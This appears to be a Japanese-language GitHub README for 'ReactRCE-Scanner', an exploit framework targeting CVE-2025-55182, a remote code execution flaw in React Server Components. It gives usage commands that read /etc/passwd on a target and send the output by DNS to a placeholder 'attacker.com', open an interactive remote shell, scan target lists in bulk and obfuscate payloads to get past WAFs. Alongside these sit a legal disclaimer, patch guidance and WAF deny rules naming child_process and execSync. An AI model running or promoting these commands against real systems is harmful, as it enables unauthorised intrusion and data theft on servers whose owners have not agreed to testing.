CVE-2025-55182 に対応した高度な React Server Components RCE スキャナー。機能: 多段階フィンガープリンティング、脆弱性検証、DNS エクスフィルトレーション、インタラクティブシェル、ペイロード難読化、プロフェッショナルなレポート出力 (JSON/HTML/PDF)。許可されたテストのみに使用してください。
<div align="center">
# 🔐 ReactRCE-Scanner
### CVE-2025-55182 — 高度なReact Server Components RCEエクスプロイト&評価フレームワーク
<p align="center">
<a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit"><img src="https://img.shields.io/badge/version-1.0.0-blue?style=for-the-badge&logo=git&logoColor=white" alt="Version"></a>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-55182"><img src="https://img.shields.io/badge/CVE-2025--55182-red?style=for-the-badge&logo=shield&logoColor=white" alt="CVE"></a>
<a href="https://www.first.org/cvss/"><img src="https://img.shields.io/badge/CVSS-9.8%20CRITICAL-critical?style=for-the-badge&logo=security&logoColor=white" alt="CVSS"></a>
<a href="https://python.org"><img src="https://img.shields.io/badge/python-3.8+-blue?style=for-the-badge&logo=python&logoColor=white" alt="Python"></a>
<a href="https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-green?style=for-the-badge&logo=open-source-initiative&logoColor=white" alt="License"></a>
</p> <p align="center">
<a href="https://github.com/CerberusMrXi"><img src="https://img.shields.io/badge/author-CerberusMrXi-orange?style=for-the-badge&logo=github" alt="Author"></a>
<a href="http://makeapullrequest.com"><img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=for-the-badge&logo=git-pull-request" alt="PRs Welcome"></a>
<a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/releases"><img src="https://img.shields.io/github/downloads/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/total?style=for-the-badge&logo=github" alt="Downloads"></a>
</p> </div>
---
## 📑 目次
- [法的免責事項および倫理的通知](#-法的免責事項および倫理的通知)
- [概要](#-概要)
- [主な機能](#-主な機能)
- [クイックスタートガイド](#-クイックスタートガイド)
- [アーキテクチャと機能の詳細](#-アーキテクチャと機能の詳細)
- [設定リファレンス](#-設定リファレンス)
- [自動テストスイート](#-自動テストスイート)
- [修復と緩和策](#-修復と緩和策)
- [コントリビューションとコミュニティ](#-コントリビューションとコミュニティ)
- [参考文献](#-参考文献)
- [ライセンスと作者](#-ライセンスと作者)
---
## ⚠️ 法的免責事項および倫理的通知
> **本ツールは、教育および許可されたセキュリティテストの目的にのみ使用されるよう設計されています。** 事前の書面による同意なしに対象へ本ソフトウェアを使用することは、Computer Fraud and Abuse Act(CFAA)、GDPRの要件、および標準的な利用規約契約を含む国際的なコンピュータ犯罪法に違反します。作者およびコントリビューターは、本プログラムの誤用、違法行為、または結果として生じる損害について一切の責任を負いません。**すべての操作は自己責任で厳守してください。**
---
## 📋 概要
**ReactRCE-Scanner** は、バージョン `19.0.0` から `19.2.0` にかけてのReact Server Componentsに影響を与える重大なリモートコード実行(RCE)脆弱性である **CVE-2025-55182** [1] に特化して設計された、エンタープライズグレードのセキュリティ評価および検証フレームワークです。
本フレームワークは、理論上の脆弱性研究と実用的なセキュリティ検証の間のギャップを埋めます。多段階フィンガープリンティング、厳格な誤検知削減、高度なペイロード難読化、および自動化されたマルチフォーマットレポートを組み込むことで、セキュリティエンジニアに正確な診断機能を提供します。
<div align="center">
| **使用状況** | **スキャン結果** |
|:---------:|:----------------:|
| <img src="https://github.com/user-attachments/assets/ee7a96b7-f4cd-4e00-b780-97c7d9ca3523" width="900"> | <img src="https://github.com/user-attachments/assets/e4b493d1-c5a1-494e-8385-2b92ab5fb76e" width="900"> |
</div>
---
## 🎯 主な機能
| 機能カテゴリ | 実装のハイライト | 運用ステータス |
| --- | --- | --- |
| **スマートフィンガープリンティング** | 信頼度スコアリングアルゴリズムを備えたマルチソースのフレームワークおよびバージョン検出。 | ✅ |
| **多段階検証** | 誤検知を体系的に排除するよう設計された5段階の検証パイプライン。 | ✅ |
| **ペイロード生成** | DNSエクスフィルトレーションとマルチエンコーディングをサポートする難読化ペイロードビルダー。 | ✅ |
| **インタラクティブシェル** | 検証済みターゲット上でのリアルタイム疑似インタラクティブなコマンド実行およびシェルアクセス。 | ✅ |
| **包括的なレポート** | JSON、HTML、PDF、Markdown形式での自動レポート生成。 | ✅ |
| **DNSエクスフィルトレーション** | 安全なDNSクエリ処理によるアウトオブバンドのコマンド出力エクスフィルトレーション。 | ✅ |
| **並行処理エンジン** | 大規模な攻撃対象領域向けの高性能マルチスレッドスキャンアーキテクチャ。 | ✅ |
| **プロキシ統合** | 匿名化された評価トラフィックのためのHTTP/HTTPSおよびSOCKSプロキシサポート。 | ✅ |
---
## 🚀 クイックスタートガイド
### インストール
リポジトリをクローンし、自動セットアップスクリプトまたは手動での依存関係インストールを利用して環境を初期化します:
```bash
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
```
### 基本コマンドリファレンス
本フレームワークは、単一ターゲットの検証、ファイルリストからの一括スキャン、インタラクティブシェルの起動、およびコンプライアンスレポートをサポートするモジュール式CLIアーキテクチャで動作します。
```bash
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
```
---
## 🔬 アーキテクチャと機能の詳細
### 1. スマートフィンガープリンティングエンジン
本フレームワークは、ペイロード配信前に詳細な偵察を実行します。複数のHTTPヘッダーフィールド(`X-Powered-By`、`Next-Action`、`RSC`)、HTML構造メタタグ(`data-reactroot`、`__NEXT_DATA__`)、静的ビルドアセット、およびJavaScriptソースバンドルを分析します [2] [3]。
信頼度スコアは4つの階層に分類されます:
- **CRITICAL(95%以上):** 複数の直交する指標が脆弱なReact Server Componentランタイムバージョンを確認。
- **HIGH(75~95%):** 正確なバージョン一致を伴う強力な構造的指標を特定。
- **MEDIUM(50~75%):** 部分的なフレームワークマーカーが存在;手動検証が必要。
- **LOW(50%未満):** 弱いヒューリスティックを検出;誤検知の可能性が高い。
### 2. 多段階検証ワークフロー
運用の完全性を維持し、意図しないサービス中断を防ぐため、ペイロードはエクスプロイト段階が解除される前に厳格な検証パイプラインを通過します。
```
Target URL / Endpoint
│
▼
[Stage 1] Framework & Header Detection
│
▼
[Stage 2] Component Version Analysis
│
▼
[Stage 3] Protocol Compatibility Check
│
▼
[Stage 4] Non-Destructive Safe Validation Request
│
▼
[Stage 5] Statistical Confidence Scoring
│
▼
Vulnerability Assessment Decision
```
### 3. ペイロード難読化と回避
防御制御およびWeb Application Firewall(WAF)をテストするため、本フレームワークには以下をサポートする高度なペイロードジェネレーターが組み込まれています:
- **エンコーディングスキーム:** Base64、16進数、および8進数の変換。
- **構造的難読化:** 動的文字列分割、ジャンクコード注入、および代替の `require` メソッドマッピング。
- **アウトオブバンド(OOB)エクスフィルトレーション:** 直接応答チャネルが制限されている場合のDNSクエリを介した安全なデータトンネリング。
### 4. インタラクティブコマンドシェル
セッションの確立に成功すると、オペレーターは検証後の列挙のためにインタラクティブシェル環境を起動できます。
```bash
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.
shell> whoami
www-data
shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux
shell> exit
[*] Terminating session and cleaning up temporary artifacts...
```
### 5. プロフェッショナルレポートスイート
レポートは、エグゼクティブサマリー、リスク指標、詳細な技術的所見、証拠タイムライン、およびCVSS v3.1スコアリングの内訳を含む、複数の標準化された形式(`JSON`、`HTML`、`PDF`、`Markdown`)で生成できます [4]。
---
## ⚙️ 設定リファレンス
高度なパラメータは `config.yaml` 設定ファイルを通じて管理されます。以下は本番環境の設定テンプレートです:
```yaml
# ReactRCE-Scanner Production Configuration
timeout: 30
threads: 20
max_retries: 3
proxy: null
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
headers:
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
Accept-Language: "en-US,en;q=0.5"
Accept-Encoding: "gzip, deflate, br"
output:
format: "json"
directory: "./reports"
logging:
level: "INFO"
file: "exploit.log"
exploit:
obfuscate: true
encoding: "base64"
timeout: 60
scanning:
concurrent_scans: 20
rate_limit: 0.5
timeout: 30
fingerprint:
enable_deep_analysis: true
follow_redirects: true
analyze_assets: true
```
カスタム設定ファイルを参照してスキャンを実行するには:
```bash
python exploit.py -f targets.txt -C config.yaml -o report.json
```
---
## 🧪 自動テストスイート
リポジトリには、リリース間でのモジュールの安定性を確保するための包括的な単体テストおよび統合テストスイートが含まれています。
```bash
# Execute the complete automated test suite
python exploit.py --test
# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed
Tests passed: 5/5
```
ローカル開発環境をセットアップするコントリビューター向け:
```bash
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt
# Run pytest unit tests
pytest tests/
# Format and lint codebase
black exploit.py
flake8 exploit.py
```
---
## 🛡️ 修復と緩和策
### 即時の管理措置
1. **パッチ適用:** Reactパッケージを直ちにバージョン `19.2.1` 以上にアップグレードしてください。Next.jsインスタンスをバージョン `15.0.4+` に更新してください [5]。
1. **監視:** 不審な `Next-Action` ヘッダー値および未検証のプロトタイプ参照(`__proto__`、`constructor`)についてHTTPアクセスログを検査してください [6]。
1. **ネットワーク強化:** データエクスフィルトレーションを防ぐため、アプリケーションサーバーからのアウトバウンド再帰DNSクエリを制限してください。
### 参考WAFルール(Nginx / OpenResty)
```
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
return 403;
}
if ($request_body ~* "constructor") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
if ($request_body ~* "execSync") {
return 403;
}
```
---
## 📚 参考文献
1. [National Vulnerability Database — CVE-2025-55182 Advisory](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
1. [React Security Documentation & Advisories](https://react.dev/security)
1. [Next.js Security Bulletins](https://nextjs.org/blog/security)
1. [FIRST CVSS v3.1 Specification & Calculator](https://www.first.org/cvss/calculator/3.1)
1. [OWASP Guide to Prototype Pollution Vulnerabilities](https://www.owasp.org/index.php/Prototype_Pollution)
1. [Node.js Child Process Security Best Practices](https://nodejs.org/api/child_process.html)
---
## 🤝 コントリビューションとコミュニティ
コントリビューション、機能リクエスト、バグ報告を歓迎します。標準的なfork-and-pull requestワークフローに従ってください:
1. リポジトリをフォークする(`https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork`)
1. 機能ブランチを作成する(`git checkout -b feature/AdvancedScannerModule`)
1. 変更をコミットする(`git commit -m 'Add advanced scanning heuristic'`)
1. ブランチにプッシュする(`git origin push feature/AdvancedScannerModule`)
1. Pull Requestを開く
---
## 📜 ライセンスと作者
**MIT License** の下で配布されています。詳細については [LICENSE](https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE) を参照してください。
<div align="center">
**Created with precision by CerberusMrXi** *Last Updated: August 2026*
</div>